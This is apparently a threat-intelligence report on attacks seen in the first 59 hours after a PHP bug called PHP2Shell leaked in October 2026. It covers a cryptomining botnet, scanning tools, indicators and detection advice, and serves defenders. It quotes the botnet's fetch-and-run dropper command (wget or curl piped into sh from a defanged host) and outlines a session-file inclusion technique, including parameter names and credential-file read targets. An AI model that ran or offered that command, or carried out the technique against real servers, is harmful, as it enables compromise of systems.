PHP2Shell, Hour by Hour: Who Showed Up in the First 59 Hours, and How

Snapshot as of 23 Oct 2026, 02:00 UTC.

A critical bug leaks on a Tuesday. By Thursday night (UTC), a known cryptomining botnet that had been attempting to exploit Apache servers for three weeks has added PHP2Shell-labelled attempts to its spreader. In between, everyone else shows up with their own way of working.

Observation window: 2026-10-19 → 2026-10-23 02:00 UTC

The 59 hours: from the first public leak (Tuesday 20 October, 15:20 UTC) to the snapshot (Friday 23 October, 02:00 UTC)

Signal: 9 source IPs, 4 distinct tools, set hour by hour against the public timeline

Core finding: RedTail, a cryptomining botnet with a record of adopting fresh PHP bugs, added PHP2Shell-labelled attempts to its spreader about 31 hours after the patch, reusing the dropper it had used against Apache since 3 October

Defensive value: a PHP2Shell-labelled entry point for a known dropper, tool fingerprints, and hunting logic that does not depend on public PoC strings

1. The short version

• No PHP2Shell activity before the leak. The first PHP2Shell-shaped request OHIIHO Research observed arrived on 21 October around 13:00 UTC, about 22 hours after the leak and less than an hour before the PHP release. None of the indicators Amazon published for its 17 October sighting appeared in what we observed.
• A known botnet started sending PHP2Shell-labelled attempts in about 31 hours. It is most likely RedTail, a cryptomining botnet. It is not the first botnet in the wave: ELLIO saw 45.198.224[.]169 send a Mirai loader on 21 October at 14:38 UTC. That /24 also holds two of the C2 addresses decoded in Scan, Stage, Command (45.198.224[.]123 and .124). Since 3 October, 237 different sources had been observed pushing the same download-and-run command through an old Apache path-traversal bug. On 22 October around 21:00 UTC the same command arrived inside a session-file inclusion attempt, and the label the botnet passes to its installer changed from apache to php2shell. Huntback and Cypho have since reported the same source and dropper.
• Volume and precision are two strategies. One tool sent 500 to 1,300 requests per target, trying 108 parameter names one by one. Others sent a single request per target and left.
• Adversaries update their tools in the open. We watched one tool change between about 05:00 and 08:00 UTC, change again that evening, and the botnet ship three versions of its upload in under five hours.
• The patch is not the finish line. Every exploitation attempt we saw arrived after 14:00 UTC on 21 October except one.

2. The timeline, to the hour

All times are UTC. The left column is public reporting (sources at the end). The right column is what OHIIHO Research observed, rounded to the hour.

A request before the patch sounds dramatic, but it is not evidence of insider knowledge. By then the bug had been public for about 22 hours and others had been seeing attacks for five. The honest reading is the opposite: the wave reached the large edge networks first.

3. RedTail bolts it on

The dropper in this section is not new. Public feeds have listed it since 3 October, and threat-intel sources tie it to RedTail, a cryptomining botnet active since late 2023. When these numbers were frozen, we had not found published reporting of this botnet sending PHP2Shell-labelled attempts; others have since reported it (see the postscript at the end of this section).

From 3 October onward, 237 different IP addresses were observed sending the same command through an Apache path-traversal URL (/cgi-bin/../../…/bin/sh, the CVE-2021-41773 family):

(wget --no-check-certificate -qO- hxxps://217.60.102[.]5/sh || curl -sk hxxps://217.60.102[.]5/sh) | sh -s apache

237 sources for a single dropper is the profile of a self-spreading botnet, consistent with propagation from compromised hosts. The host behind it also serves binaries for five CPU architectures. Abuse feeds tag it RedTail (ThreatFox, URLhaus), and an independent write-up reaches the same conclusion, cautiously. We treat the name as a strong lead, not as proof.

On 22 October around 21:00 UTC, 77.90.185[.]20 sent the same command, this time inside the session-upload field of a PHP2Shell-labelled request. Then it immediately asked the target to include the session file it had just tried to plant: a session-file inclusion attempt carrying an active dropper. Only one word had changed. The label passed to the installer was now php2shell. The botnet labels each attempt with the door it uses, and it had just added a new one.

That source was not new either: it had been observed hammering SSH services since 1 October.

The attempts kept changing overnight:

Some researchers argued on 22 October that mass exploitation was unlikely, because the public exploits do not work against a default PHP installation. That may be true. It did not stop this botnet from adding these attempts to its spreader. Botnets do not wait for an exploit to be reliable: they spray it, because the cost of trying is zero. RedTail has done this before: in June 2024 it was exploiting the previous critical PHP bug, CVE-2024-4577, within days of disclosure (Akamai).

Postscript — 30 October 2026. Since this snapshot, other teams have published the same entry point. Huntback (23 October) reports 77.90.185[.]20 sending PHP2Shell POSTs from 22 October 20:30 UTC with the sh -s php2shell installer label and the 217.60.102[.]5 dropper, which it calls RedTail-style. Cypho reports the same source at 20:59 UTC that day, with the php2shell argument. Stormshield (29 October) lists the source and the dropper host as RedTail. Our first sighting came after theirs, later that evening.

4. Volume: the tool that tries everything

Four source IPs (Bulgaria, Germany, Tunisia, Finland) were observed running the same tool on 22 October. It is easy to recognize: a truncated browser string (Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120.0, no KHTML), and a random marker file name starting with P2SMK (ELLIO documented the P2SMK canary on 22 October).

Each run follows the same script:

1. Look for PHP: 18 classic entry points (/index.php, /wp-login.php, /administrator/index.php, /index.php?option=com_content, …), about one per second.
2. Upload to /index.php.
3. Try to include the planted file through up to 108 parameter names (page, file, include, template, lang, view, …) and 10 to 16 common session directories (/var/lib/php/sessions/, /tmp/, /var/lib/php8/sessions/, …), plus classic file-read checks (/etc/passwd, /proc/self/environ, C:\Windows\win.ini).

Like the RedTail upload, this is the session-file inclusion technique that ELLIO describes as older and unrelated to the two CVEs. In the attempt / correlation / execution reading of Scan, Stage, Command, every request in this article stays at the attempt level: the RedTail dropper adds a campaign correlation, not proof of execution.

The result is 500 to 1,300 requests per target in under five minutes. It scans by IP address, not by hostname or fingerprint, and fires whatever software the target runs.

It also evolved during the day:

• ~05:00 UTC: 82 parameter names, no file-read checks.
• ~08:00 UTC: 108 parameter names, file-read checks added.
• ~22:00 UTC: a new variant that hides the file paths in cookies (lang=, locale=, site_lang=, …), presumably to slip past filters that only inspect the URL.

5. Precision: the ones that knock once

The other end of the spectrum sends almost nothing:

• The public PoC (85.11.167[.]243): this is the scanner seen fetching home pages on 19 and 21 October. On 22 October it sent exactly one CVE-shaped exploitation attempt per target, then re-aimed the same payload at /lib/phpunit/phpunit/Util/PHP/eval-stdin.php, a path any old PHPUnit scanner knows. Map first, strike later, retarget fast.
• PHP2Shell/1.0.0 (45.150.108[.]223): the earliest PHP2Shell-shaped requests observed came from this address, before the patch. The next day it came back under a client name that does not appear in any public indicator list we checked (as of 30 October), posted to /index.php and left. No reconnaissance, no follow-up.
• A probe from a cloud VPS (152.42.195[.]115): one upload, one include, nothing else. Consistent with a verification probe.

6. Reconnaissance without the strike

Not everyone who looks attacks. One source (31.182.51[.]55), carrying the same fingerprint as the high-volume tool, ran the full 18-path PHP survey, then requested /index.php dozens of times with no upload. Later it returned for several hundred more requests with file-read attempts, still without uploading. Whatever it was measuring, it never pulled the trigger. ELLIO lists the same address among the senders of the P2SMK tool on 22 October: two independent vantage points, same source IP.

7. Volume versus quality

The loud tool is the easiest to catch. The botnet sends almost nothing, and among the payloads OHIIHO Research observed within the 59-hour window it is the only one that carried a dropper. That comparison stops at what we observed: Cypho documented a request from 85.11.167[.]243 whose spray fields carried a downloader for 92.118.112[.]100, a payload host of the Potassium (Mirai-family) campaign (Sophos, ELLIO), also listed as a Mirai C2 by Stormshield.

8. What we did not see

• No PHP2Shell attempts before the leak. None of the nine source IPs sent anything PHP2Shell-related before 21 October. The only earlier contact is the home-page scan on 19 October, which says nothing about PHP2Shell.
• No observable evidence of adaptive tooling in these requests. Every tool we saw followed a fixed script.
• No reuse of Amazon’s 17 October infrastructure.

9. Hunting and detection

The public PoC strings (php2shell-109618, boundary B7kQpoc618, the boundary also listed by Sophos for a Potassium campaign) catch only the laziest copy. The signals below are meant to be correlated, not read one by one: none is proof on its own, and some sources never went past reconnaissance.

1. A multipart/form-data POST to a PHP entry point containing a part named PHP_SESSION_UPLOAD_PROGRESS, usually with a PHPSESSID cookie. Sites that use PHP’s upload progress feature send this field in ordinary uploads too (ELLIO), so weigh it with the signals below.
2. Within seconds, requests whose query string or cookies reference sess_ files or session directories.
3. On the server side, the web-server user running wget or curl piped into sh. Here it is followed by sh -s php2shell or sh -s apache.
4. Outbound connections to 217.60.102[.]5.

Patch, then restart PHP-FPM and your web server workers: a patched package with old workers still running is still vulnerable.

These recommendations date from the snapshot. On 23 October, PHP published an informational advisory suggesting session.upload_progress.enabled=0 until the next regular bugfix release, against a separate and unlikely RCE vector (CVE-2026-115560) to be fully documented with that release.

Indicators (as of 2026-10-23)

Sources

• Leak: Hacker News thread, 20 October 15:20 UTC
• PHP release and fix versions: AlmaLinux, Help Net Security
• Pre-disclosure sighting: Amazon Threat Intelligence, The Hacker News
• Timeline and early exploitation: Recorded Future, watchTowr, ELLIO, Sansec
• RedTail dropper and attribution: URLhaus, ThreatFox
• RedTail history: Akamai, CVE-2024-4577, Forescout
• Potassium payload host and PoC reuse: Sophos, ELLIO
• Public PoC indicators: Imunify360, Mallory
• Same RedTail entry point, published after this snapshot: Huntback, Cypho, Stormshield

OHIIHO Threat Research.

Contact: research@ohiiho.com